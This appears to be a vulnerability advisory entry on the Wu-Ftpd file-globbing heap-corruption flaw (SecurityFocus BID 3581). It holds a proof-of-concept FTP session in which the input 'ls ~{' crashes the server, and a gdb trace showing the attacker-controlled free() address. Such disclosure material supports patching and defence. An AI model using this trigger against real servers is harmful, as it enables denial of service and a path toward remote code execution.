44 lines
No EOL
2.1 KiB
Text
44 lines
No EOL
2.1 KiB
Text
source: https://www.securityfocus.com/bid/3581/info
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Wu-Ftpd is an FTP server based on the BSD 'ftpd' that is maintained by Washington University.
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Wu-Ftpd allows clients to organize files for FTP actions based on "file globbing" patterns. File globbing is also used by various shells. The implementation of file globbing included in Wu-Ftpd contains a heap-corruption vulnerability that may allow an attacker to execute arbitrary code on a server remotely.
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This vulnerability was initially scheduled for public release on December 3, 2001. However, Red Hat has made details public as of November 27, 2001. As a result, we are forced to warn other users of the vulnerable product so that they may take appropriate actions.
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ftp> open localhost
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Connected to localhost (127.0.0.1).
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220 sasha FTP server (Version wu-2.6.1-18) ready.
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Name (localhost:root): anonymous
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331 Guest login ok, send your complete e-mail address as password.
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Password:
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230 Guest login ok, access restrictions apply.
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Remote system type is UNIX.
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Using binary mode to transfer files.
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ftp> ls ~{
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227 Entering Passive Mode (127,0,0,1,241,205)
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421 Service not available, remote server has closed connection
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1405 ? S 0:00 ftpd: accepting connections on port 21
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7611 tty3 S 1:29 gdb /usr/sbin/wu.ftpd
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26256 ? S 0:00 ftpd: sasha:anonymous/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
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26265 tty3 R 0:00 bash -c ps ax | grep ftpd
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(gdb) at 26256
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Attaching to program: /usr/sbin/wu.ftpd, process 26256
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Symbols already loaded for /lib/libcrypt.so.1
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Symbols already loaded for /lib/libnsl.so.1
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Symbols already loaded for /lib/libresolv.so.2
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Symbols already loaded for /lib/libpam.so.0
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Symbols already loaded for /lib/libdl.so.2
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Symbols already loaded for /lib/i686/libc.so.6
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Symbols already loaded for /lib/ld-linux.so.2
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Symbols already loaded for /lib/libnss_files.so.2
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Symbols already loaded for /lib/libnss_nisplus.so.2
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Symbols already loaded for /lib/libnss_nis.so.2
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0x40165544 in __libc_read () from /lib/i686/libc.so.6
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(gdb) c
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Continuing.
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Program received signal SIGSEGV, Segmentation fault.
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__libc_free (mem=0x61616161) at malloc.c:3136
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3136 in malloc.c |